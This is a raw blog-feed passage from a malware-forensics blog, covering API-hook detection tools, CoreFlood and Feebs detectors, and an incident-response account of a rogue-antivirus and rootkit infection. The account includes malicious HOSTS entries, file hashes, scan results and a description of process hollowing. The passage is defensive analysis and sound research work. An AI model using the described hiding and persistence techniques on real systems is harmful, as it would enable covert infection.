rootkit functions, see &lt;a href="http://www.amazon.com/Cyber-Fraud-Tactics-Techniques-Procedures/dp/1420091271/ref=sr_1_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1243095160&amp;amp;sr=8-1"&gt;Cyber Fraud: Tactics, Techniques, and Procedures&lt;/a&gt; by Rick Howard and other authors from the iDefense team.&lt;br /&gt;&lt;br /&gt;Now let's take a look at Laqma - a Trojan that uses inline hooks but without the JMP instruction. Laqma uses a PUSH&lt;span style="font-style: italic;"&gt; &lt;/span&gt;instruction followed by a RET. The 4 bytes PUSHed onto the stack is where the code resumes after the RET, so its just like a JMP but with a different instruction set. The iDefense book also includes a full chapter on Laqma. Here is the output:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_jAVGHwajDek/ShgiZju-A8I/AAAAAAAABZU/zaAvgn4bL8g/s1600-h/screen-capture-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 148px;" src="http://3.bp.blogspot.com/_jAVGHwajDek/ShgiZju-A8I/AAAAAAAABZU/zaAvgn4bL8g/s400/screen-capture-2.png" alt="" id="BLOGGER_PHOTO_ID_5339055180732040130" border="0" /&gt;&lt;/a&gt;CoreFlood is another big API hooking trojan (c'mon what trojan doesn't hook API functions - its the cool thing to do). CoreFlood likes IAT hooks.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/ShgjzNEhWbI/AAAAAAAABZc/22iK0eEsanc/s1600-h/screen-capture-3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 206px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/ShgjzNEhWbI/AAAAAAAABZc/22iK0eEsanc/s400/screen-capture-3.png" alt="" id="BLOGGER_PHOTO_ID_5339056720836647346" border="0" /&gt;&lt;/a&gt;If you just want to test out usermode_hooks.py without installing various malware, try downloading Hogfly's exemplar memory images (instructions on his &lt;a href="http://forensicir.blogspot.com/2009/03/memory-snapshot-project-part-ii.html"&gt;Forensic Incident Response blog&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;A few final notes:&lt;br /&gt;&lt;br /&gt;* There are various ways for malware to evade hook detection (the best is to not use hooks ;-0) and still be malicious...&lt;br /&gt;* Most of these hook detection methods can easily be ported to kernel drivers&lt;br /&gt;* Aside from IAT/EAT/inline hooks, we'll have some other rootkit detection plug-ins released soon&lt;br /&gt;*  Big thanks to &lt;a href="http://moyix.blogspot.com/"&gt;Brendan Dolan-Gavitt&lt;/a&gt; and &lt;a href="http://volatility.tumblr.com/"&gt;AAron Walters&lt;/a&gt; for their help testing the script&lt;br /&gt;&lt;br /&gt;If you find malware that hooks unusual API functions (or even if you find some common false positives), I'd love to hear about it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-5071445013429325817?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/5071445013429325817/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=5071445013429325817' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5071445013429325817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5071445013429325817'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/05/volatility-plug-in-for-iateatinline.html' title='Volatility Plug-in for IAT/EAT/Inline Hook Detection'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_jAVGHwajDek/Shga-AC_InI/AAAAAAAABZE/XrSAoAZlKac/s72-c/screen-capture.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-1549477923855810342</id><published>2009-05-22T21:45:00.005-06:00</published><updated>2009-05-23T09:24:14.677-06:00</updated><title type='text'>Feebs and CoreFlood Programs on Google Code</title><content type='html'>I recently uploaded copies of &lt;a href="http://mhl-malware-scripts.googlecode.com/files/find_feebs.zip"&gt;FindFeebs&lt;/a&gt; and &lt;a href="http://mhl-malware-scripts.googlecode.com/files/dumpCore.zip"&gt;DumpCore&lt;/a&gt; - two programs from past malware analysis projects.&lt;br /&gt;&lt;br /&gt;Feebs is a DLL that hooks usermode API functions in order to hide processes, among other resources. The FindFeebs program is really just a fun example of how to use C++ vectors and process listing snapshots in order to determine what is hidden on the system. First, it takes a snapshot of the running processes. Then it queries the registry for the location of the Feebs DLL. Then it loads the Feebs DLL to "put on the blinders" of the API hooks. It gathers running processes again and then computes the difference. Here's a screen shot of the tool showing that Feebs is hiding an instance of svchost.exe on the machine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/Shdzp59o_wI/AAAAAAAABYs/gZW9jen395s/s1600-h/findfeebs.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 274px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/Shdzp59o_wI/AAAAAAAABYs/gZW9jen395s/s320/findfeebs.jpg" alt="" id="BLOGGER_PHOTO_ID_5338863047042203394" border="0" /&gt;&lt;/a&gt;DumpCore is a program to detect CoreFlood on systems by checking for the presense of the window class that is specific to this malware family. If it finds the window class, it takes the HWND and resolves the PID of the process that created it. This identifies the process that is infected with CoreFlood. DumpCore also uses some heuristics to find the CoreFlood DLL and data files on disk. It looks for any .dil files with a corresponding .dat file in the same directory with the same prefix (filename). The best part about DumpCore is it can also decrypt the configuration and stolen data files.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/Shd0E06LBRI/AAAAAAAABY0/0IIcyMzRTms/s1600-h/screen-capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 274px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/Shd0E06LBRI/AAAAAAAABY0/0IIcyMzRTms/s320/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5338863509541946642" border="0" /&gt;&lt;/a&gt;Both of these programs are over a year old. I posted them here for research/educational reasons and to encourage other people to write and share similar programs. Keep in mind, it might not always be a good idea to publicly post decryptors for cutting edge or prevalent malware.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-1549477923855810342?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/1549477923855810342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=1549477923855810342' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1549477923855810342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1549477923855810342'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/05/feebs-and-coreflood-programs-on-google.html' title='Feebs and CoreFlood Programs on Google Code'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_jAVGHwajDek/Shdzp59o_wI/AAAAAAAABYs/gZW9jen395s/s72-c/findfeebs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-5023400651679223916</id><published>2009-04-13T17:34:00.004-06:00</published><updated>2009-04-13T17:42:56.070-06:00</updated><title type='text'>Wedding Rings and Intel Core Two Duo?</title><content type='html'>I've previously reported &lt;a href="http://mnin.blogspot.com/2008/01/yes-i-still-have-fingers.html"&gt;when I lost my fingers&lt;/a&gt; and also when &lt;a href="http://mnin.blogspot.com/2008/02/why-you-should-make-backups-fingers.html"&gt;I miraculously benefited from backup fingers&lt;/a&gt;. Today I'm making my first blog posts with a wedding ring on my finger. I hope you enjoyed the update ;-)&lt;br /&gt;&lt;br /&gt;It was also my birthday recently and due to my indecisiveness between an iMac and a Macbook pro, I bought both. Talk about core two duo!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-5023400651679223916?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/5023400651679223916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=5023400651679223916' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5023400651679223916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/5023400651679223916'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/04/wedding-rings-and-intel-core-two-duo.html' title='Wedding Rings and Intel Core Two Duo?'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4252070798334987515</id><published>2009-04-13T13:12:00.025-06:00</published><updated>2009-04-14T08:43:54.909-06:00</updated><title type='text'>Malware Forensics: How Ironic Can It Get?</title><content type='html'>It was sunday evening 4/12 as a friend and I sat next to each other and worked on our computers. I was investigating a malicious URL that downloaded various malware/spyware components and my friend was just playing around - looking for apartments in NYC. I was particularly interested in the malware that I was investigating, because as of 4/10 it had 0% detection at VirusTotal. All of the sudden my friend exclaimed that Symantec AV had popped up a warning message. I put my incident response hat on and soon determined that my friend had ironically become infected with the exact same malware that I was researching.&lt;br /&gt;&lt;br /&gt;I didn't want to disturb the state of the system by taking a screen shot of the warning message, so I took an old fashioned picture with my camera. Here is what I saw:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SeOV8zzxepI/AAAAAAAABXg/hzo1gVN6LQg/s1600-h/screen-capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 177px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SeOV8zzxepI/AAAAAAAABXg/hzo1gVN6LQg/s320/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5324264056414108306" border="0" /&gt;&lt;/a&gt;I immediately disconnected the wireless network card to prevent any data ex-filtration that had not already occurred. Then I inserted my USB toolkit and dumped the 1GB of RAM for later analysis. I hoped to then inspect the hard drive for recent additions/changes with a live knoppix or plain sight disk instead of going through the potentially compromised Windows operating system. Unfortunately, the laptop's hard drive is encrypted via Pointsec, so I cannot do that easily. Mildly disappointed, I started to examine the Symantec log file. This is what I found:&lt;br /&gt;&lt;br /&gt;Hacktool.Rootkit,Reboot Required - Cleaned by deletion,3,&lt;span style="font-weight: bold;"&gt;ati64si.sys,File,C:\WINDOWS\system32\drivers\,6CGM6G1,6CGM6G1\sx24559&lt;/span&gt;,Infected,C:\WINDOWS\system32\drivers\,Reboot Required - Clean security risk,Reboot Required - Quarantine,Auto-Protect scan, ,4/12/2009 8:55:09 PM&lt;br /&gt;&lt;br /&gt;Bloodhound.Exploit.196,Quarantined,1,&lt;span style="font-weight: bold;"&gt;Acr487.tmp,Heuristics,C:\Documents and Settings\user\Local Settings\Temp\,6CGM6G1,6CGM6G1\sx24559&lt;/span&gt;,Infected,Quarantine,Clean security risk,Quarantine,Auto-Protect scan,The file was quarantined successfully.,4/12/2009 8:55:00 PM&lt;br /&gt;&lt;br /&gt;Downloader,Cleaned by deletion,2,&lt;span style="font-weight: bold;"&gt;741l2[1].exe,File,C:\Documents and Settings\user\Local Settings\Temporary Internet Files\Content.IE5\KP9SRQ7F\,6CGM6G1,6CGM6G1\sx24559&lt;/span&gt;,Infected,C:\Documents and Settings\user\Local Settings\Temporary Internet Files\Content.IE5\KP9SRQ7F\,Clean security risk,Quarantine,Auto-Protect scan, ,4/12/2009 8:54:52 PM&lt;br /&gt;&lt;br /&gt;Downloader,Cleaned by deletion,3,&lt;span style="font-weight: bold;"&gt;crypts.dll,File,C:\WINDOWS\system32\&lt;/span&gt;,6CGM6G1,6CGM6G1\sx24559,Infected,C:\WINDOWS\system32\,Clean security risk,Quarantine,Auto-Protect scan, ,4/12/2009 8:54:43 PM&lt;br /&gt;&lt;br /&gt;Between  8:54:43 PM and 8:55:09 PM, Symantec had quarantined 4 suspicious files. I noted that two of them had previously existed in the system32 directory before the quarantine, meaning that the attack was able to gain administrative privileges (due to the permissions granted to the logged-in user). The other thing I noticed is that the 741l2[1].exe file was in Internet Explorer's Temporary Internet Files folder. This led me to believe that the infection started as a result of browsing with IE, although my friend also had Firefox open at the time.&lt;br /&gt;&lt;br /&gt;I backed up the quarantined files to my USB stick and ran a few tools to get a better idea of how bad off the situation was. &lt;a href="http://www.gmer.net/"&gt;GMER&lt;/a&gt; noted various SSDT hooks and attached devices (see below), but most of them are related to the Symantec AV product. The only entry that seemed suspicious was the image checksum mismatch on svchost.exe[2480]. As I later found it, this is because one of the downloaded trojans creates a suspended copy of the legitimate svchost.exe binary and then uses WriteProcessMemory and SetThreadContext to overwrite the "body" of the process with malicous instructions.&lt;br /&gt;&lt;br /&gt;---- System - GMER 1.0.15 ----&lt;br /&gt;SSDT            85CAEA80     ZwSetInformationThread&lt;br /&gt;SSDT            85CAFA80     ZwOpenThreadToken&lt;br /&gt;SSDT            85EB9AB8     ZwSuspendProcess&lt;br /&gt;SSDT            85FDCB58     ZwCreateThread&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;---- Devices - GMER 1.0.15 ----&lt;br /&gt;AttachedDevice  \FileSystem\Ntfs \Ntfs           SYMEVENT.SYS&lt;br /&gt;AttachedDevice  \Driver\Tcpip \Device\Ip      SYMTDI.SYS&lt;br /&gt;AttachedDevice  \Driver\Tcpip \Device\Tcp   SYMTDI.SYS&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;---- User code sections - GMER 1.0.15 ----&lt;br /&gt;?               C:\WINDOWS\system3\svchost.exe[2480]    image checksum mismatch; time/date stamp mismatch;&lt;br /&gt;&lt;br /&gt;I viewed the computer's HOSTS file and it contained the following entries:&lt;br /&gt;&lt;br /&gt;O1 - Hosts: 94.232.248.53 browser-security.microsoft.com&lt;br /&gt;O1 - Hosts: 94.232.248.53 spy-wareprotector2009.com&lt;br /&gt;O1 - Hosts: 94.232.248.53 www.spy-wareprotector2009.com&lt;br /&gt;O1 - Hosts: 94.232.248.53 secure.spy-wareprotector2009.com&lt;br /&gt;&lt;br /&gt;Among other things, this system had obviously been infected by some rogue AV product. In particular, the ones &lt;a href="http://blog.threatfire.com/2009/02/browser-securitymicrosoftcom-hosts-file.html"&gt;reported by ThreatFire&lt;/a&gt; in late February 2009. A few seconds later, the rogue AV product window actually popped up on the victim computer's screen prompting us about the multiple infections it found. I used Process Explorer to terminate the rogue AV product as well as several other processes that looked suspicious, and then tried to delete the files. This worked for the most part, but I ran into a particularly sticky situation.&lt;br /&gt;&lt;br /&gt;I could not terminate two processes, because they were continuously launching new copies of themselves so that at least one copy always remained active. For example, 1.exe would call CreateProcessA on 2.exe. As soon as 2.exe started, it would call CreateProcessA on 1.exe. Before terminating, the programs would ensure that there was an entry in the registry's Run key to automatically start at boot time. Furthermore, I recognized this behavior. The malware that I was researching when my friend's computer became infected does exactly the same thing!&lt;br /&gt;&lt;br /&gt;The respawn cycle happened way too fast to terminate the processes with Process Explorer. By the time I clicked one of them, it would have terminated itself and re-started with a different PID. I also could not remove the registry Run key and restart, because it would be added back immediately. As previously discussed, I couldn't boot with knoppix and delete the files from the physical disk, because it was encrypted with Pointsec. Whatever I did - I had to do it while Windows was running...&lt;br /&gt;&lt;br /&gt;My solution was to write a simple C program that tried to terminate the processes as fast as they could be created. If it didn't work at first, I planned on writing a variation of the program that increased thread priority for my termination program, but it worked the first time around. Here's the main thread function:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SeOkXzah5_I/AAAAAAAABX4/mq7sgSYqfZY/s1600-h/screen-capture-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 333px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SeOkXzah5_I/AAAAAAAABX4/mq7sgSYqfZY/s400/screen-capture-1.png" alt="" id="BLOGGER_PHOTO_ID_5324279913327486962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With the program, I managed to terminate the two processes and get them deleted from disk and the registry. In hindsight, I could have just used MoveFileEx with the MOVEFILE_DELAY_UNTIL_REBOOT flag, but it would have required a reboot, which I did not want to do before investigating/cleaning the system more (for fear of what might activate at the first reboot). All in all, I collected 11 files from the disk (including the 4 that Symantec quarantined). Here is a Virustotal scan of the 11 files.&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: 741l2.ex_ MD5:0x0485CB5F995C70CA2CE6604A64B1A0CF&lt;br /&gt;&lt;br /&gt;AntiVir    TR/Downloader.Gen&lt;br /&gt;Avast!    Win32:Trojan-gen {Other}&lt;br /&gt;AVG    Downloader.Generic8.AFYY (Trojan horse)&lt;br /&gt;CA-AV    Win32/Slupim.A&lt;br /&gt;CA-AV (BETA)    Win32/Slupim.A&lt;br /&gt;Dr Web    Trojan.DownLoad.31797&lt;br /&gt;Fortinet    PossibleThreat&lt;br /&gt;Fortinet (BETA)    PossibleThreat&lt;br /&gt;F-Secure    Backdoor.Win32.KeyStart.ci&lt;br /&gt;Ikarus    Backdoor.Win32.KeyStart&lt;br /&gt;Kaspersky    Backdoor.Win32.KeyStart.ci&lt;br /&gt;McAfee (BETA)    Generic Downloader.x (trojan)&lt;br /&gt;McAfee (Online)    Generic!Artemis (trojan)&lt;br /&gt;McAfee GW Edition    Trojan.Downloader.Gen&lt;br /&gt;Microsoft    Trojan:Win32/Slupim.B [non_writable_container]&lt;br /&gt;Nod32    Win32/TrojanDownloader.Agent.OWB trojan (variant)&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;Sophos    Mal/Generic-A&lt;br /&gt;Symantec    Downloader&lt;br /&gt;Symantec (BETA)    Downloader&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: Acr487.tmp MD5: 0x39664a8232e8cb82e15c1c29e42a6acc&lt;br /&gt;&lt;br /&gt;AVG    Exploit.PDF&lt;br /&gt;F-Secure    Exploit.Win32.Pidief.apx&lt;br /&gt;Ikarus    Exploit.PDF-JS&lt;br /&gt;Kaspersky    Exploit.Win32.Pidief.apx&lt;br /&gt;McAfee (BETA)    Exploit-PDF.b.gen (trojan)&lt;br /&gt;Sophos    Mal/PDFJs-D&lt;br /&gt;Symantec    Bloodhound.Exploit.196&lt;br /&gt;Symantec (BETA)    Bloodhound.Exploit.196&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: ati64si.sy_ MD5:0x8AEB87E2F5DF9762814CD71EC0718E67&lt;br /&gt;&lt;br /&gt;AntiVir    TR/Crypt.XDR.Gen&lt;br /&gt;Avast!    Win32:Cutwail [Trj]&lt;br /&gt;AVG    Rootkit-Agent.CW (Trojan horse)&lt;br /&gt;BitDefender    Rootkit.Kobcka.C&lt;br /&gt;CA-AV    Win32/Cutwail.XR&lt;br /&gt;CA-AV (BETA)    Win32/Cutwail.XR&lt;br /&gt;Dr Web    Trojan.NtRootKit.2763&lt;br /&gt;Fortinet    W32/Pushu.IKZ!tr&lt;br /&gt;Fortinet (BETA)    W32/Pushu.IKZ!tr&lt;br /&gt;F-Secure    Rootkit.Win32.Agent.ikz&lt;br /&gt;Ikarus    Rootkit.Win32.Agent&lt;br /&gt;Kaspersky    Rootkit.Win32.Agent.ikz&lt;br /&gt;McAfee    Generic Rootkit.w (trojan)&lt;br /&gt;McAfee (BETA)    Generic Rootkit.w (trojan)&lt;br /&gt;McAfee (Online)    Generic Rootkit.w (trojan)&lt;br /&gt;McAfee GW Edition    Trojan.Crypt.XDR.Gen&lt;br /&gt;Microsoft    VirTool:WinNT/Cutwail.gen!E [generic]&lt;br /&gt;Nod32    Win32/TrojanDownloader.Wigon.BS trojan&lt;br /&gt;Norman    Rootkit.AAJR&lt;br /&gt;Panda (BETA)    Adware/GoodSearchNow (spyware)&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;QuickHeal    Rootkit.Agent.ikz&lt;br /&gt;Rising    RootKit.Win32.Agent.erf&lt;br /&gt;Sophos    Troj/Pushu-Gen&lt;br /&gt;Sunbelt    Rootkit.Win32.Agent.gvv&lt;br /&gt;Symantec    Hacktool.Rootkit&lt;br /&gt;Symantec (BETA)    Hacktool.Rootkit&lt;br /&gt;VBA32    Rootkit.Win32.Agent.ikz&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: BN514.tmp MD5: 0x1f58527003c8c176f3e6a8740c46ac1c&lt;br /&gt;&lt;br /&gt;Avast!    Win32:Rootkit-CF [Drp]&lt;br /&gt;AVG    Rootkit-Agent.CW.dropper (Trojan horse)&lt;br /&gt;BitDefender    Trojan.Kobcka.HV&lt;br /&gt;McAfee (Online)    Generic!Artemis (trojan)&lt;br /&gt;Nod32    Win32/Wigon.KC trojan&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: BN515.tmp MD5:0xFCA2C9506EB72CADB31A2FCD73095908&lt;br /&gt;&lt;br /&gt;AVG    SHeur2.AAKJ (Trojan horse)&lt;br /&gt;McAfee GW Edition    Trojan.LooksLike.Backdoor.Hupigon&lt;br /&gt;QuickHeal    Suspicious (warning)&lt;br /&gt;VBA32    Malware-Cryptor.Win32.General.3 (suspected)&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: crypts.dl_ MD5:0x5E9AD882B6D2662D96D1A25B091F927F&lt;br /&gt;&lt;br /&gt;AntiVir    TR/Dldr.Age.orh.1.A&lt;br /&gt;Avast!    Win32:Trojan-gen {Other}&lt;br /&gt;AVG    Agent_r.MV (Trojan horse)&lt;br /&gt;CA-AV    Win32/Donloz.GK&lt;br /&gt;CA-AV (BETA)    Win32/Donloz.GK&lt;br /&gt;Dr Web    Trojan.DownLoad.33838&lt;br /&gt;Fortinet    W32/Agent.BQUS!tr.dldr&lt;br /&gt;Fortinet (BETA)    W32/Agent.BQUS!tr.dldr&lt;br /&gt;F-Secure    Trojan-Downloader.Win32.Agent.bqus&lt;br /&gt;Ikarus    Trojan-Spy.Finanz.J&lt;br /&gt;K7 Computing    Trojan-Downloader.Win32.Agent.bqus&lt;br /&gt;Kaspersky    Trojan-Downloader.Win32.Agent.bqus&lt;br /&gt;McAfee    Downloader-BAR (trojan)&lt;br /&gt;McAfee (BETA)    Downloader-BAR (trojan)&lt;br /&gt;McAfee (Online)    Generic!Artemis (trojan)&lt;br /&gt;McAfee GW Edition    Trojan.Dldr.Age.orh.1.A&lt;br /&gt;Microsoft    TrojanDownloader:Win32/Slupim.B [non_writable_container]&lt;br /&gt;Nod32    Win32/TrojanDownloader.Agent.ORH trojan&lt;br /&gt;Norman    W32/Agent.MIOO&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;QuickHeal    TrojanDownloader.Agent.bqus&lt;br /&gt;Rising    Trojan.Win32.Nodef.hzv&lt;br /&gt;Sophos    Mal/Generic-A&lt;br /&gt;Symantec    Downloader&lt;br /&gt;Symantec (BETA)    Downloader&lt;br /&gt;Trend Micro    TROJ_DLOADER.WZT&lt;br /&gt;Trend Micro (BETA)    TROJ_DLOADER.WZT&lt;br /&gt;Trend Micro (Cons.)    TROJ_DLOADER.WZT&lt;br /&gt;VBA32    Win32.TrojanDownloader.Agent.ORH&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: digiwet.dl_ MD5:0x96E993F3C84480C807631E78642E0060&lt;br /&gt;&lt;br /&gt;Dr Web    Trojan.Botnetlog.3&lt;br /&gt;Fortinet (BETA)    W32/Inject.J&lt;br /&gt;Nod32    Win32/TrojanDownloader.Bredolab.AA trojan&lt;br /&gt;Panda    suspicious&lt;br /&gt;Panda (BETA)    suspicious&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;Sophos    Mal/Inject-J&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: iehelper.dl_ MD5:0xB1487F5B3644AB6EEE33B303D72332FD&lt;br /&gt;&lt;br /&gt;AVG    Downloader.Zlob_r.EX (Trojan horse)&lt;br /&gt;McAfee GW Edition    Trojan.BHO.9216&lt;br /&gt;Nod32    Win32/Adware.SpywareProtect2009 (application) (variant)&lt;br /&gt;Norman    FakeAV.HSV&lt;br /&gt;Panda    W32/Autorun.AFX&lt;br /&gt;Panda (BETA)    W32/Autorun.AFX&lt;br /&gt;Panda (Online)    W32/Autorun.AFX&lt;br /&gt;Rising    AdWare.Win32.BHO.eze&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: pdfupd.ex_ MD5:0xEF8AAE6D5704B6AEC05027FA0282FEC0&lt;br /&gt;&lt;br /&gt;Dr Web    Trojan.Botnetlog.3&lt;br /&gt;Fortinet (BETA)    W32/Inject.J&lt;br /&gt;Nod32    Win32/TrojanDownloader.Bredolab.AA trojan&lt;br /&gt;Panda    suspicious&lt;br /&gt;Panda (BETA)    suspicious&lt;br /&gt;Panda (Online)    suspicious&lt;br /&gt;Sophos    Mal/Inject-J&lt;br /&gt;Symantec (BETA)    Downloader.MisleadApp&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: st23559.ex_ MD5: 0x865c53857b3318dc09c06f522201f424&lt;br /&gt;&lt;br /&gt;Avast!    Win32:Rootkit-CF [Drp]&lt;br /&gt;BitDefender    Trojan.Kobcka.HV&lt;br /&gt;Dr Web    Trojan.DownLoad.33158&lt;br /&gt;Fortinet    W32/Agent2.HPA!tr&lt;br /&gt;Fortinet (BETA)    W32/Agent2.HPA!tr&lt;br /&gt;F-Secure    Trojan.Win32.Agent2.hpa&lt;br /&gt;Ikarus    Trojan.Win32.Agent2&lt;br /&gt;Kaspersky    Trojan.Win32.Agent2.hpa&lt;br /&gt;Nod32    Win32/TrojanDownloader.Wigon.CA trojan&lt;br /&gt;&lt;br /&gt;============================================================&lt;br /&gt;&lt;br /&gt;Scan report of: sysguard.ex_ MD5:0xFCA2C9506EB72CADB31A2FCD73095908&lt;br /&gt;&lt;br /&gt;AVG    SHeur2.AAKJ (Trojan horse)&lt;br /&gt;McAfee GW Edition    Trojan.LooksLike.Backdoor.Hupigon&lt;br /&gt;QuickHeal    Suspicious (warning)&lt;br /&gt;VBA32    Malware-Cryptor.Win32.General.3 (suspected)&lt;br /&gt;&lt;br /&gt;Its a pretty major infection. By comparing the dropped files with the files dropped by the malware I had been researching on my own before my friend's infection - I confirmed that it was indeed the same series of trojans. The remaining question was: how did my friend get infected? Since Symantec quarantined a file from Internet Explorer's Temporary Internet Files folder, I figured the best place to look was the index.dat history. Here are the relevant entries from &lt;a href="http://www.systenance.com/indexdat.php"&gt;Index.dat Analyzer&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SeOq1-BgLhI/AAAAAAAABYA/3W9krceLf5M/s1600-h/screen-capture-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 90px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SeOq1-BgLhI/AAAAAAAABYA/3W9krceLf5M/s400/screen-capture-2.png" alt="" id="BLOGGER_PHOTO_ID_5324287028641148434" border="0" /&gt;&lt;/a&gt;Based on the information, the computer had accessed fedex.com about two hours before the malicious activity started. Due to the time gap, I didn't suspect fedex.com as the infection source. The computer accessed infuzer.com just 6 minutes before the malicious activity started, however this site appears safe and it was done by a legitimate process on the computer.&lt;br /&gt;&lt;br 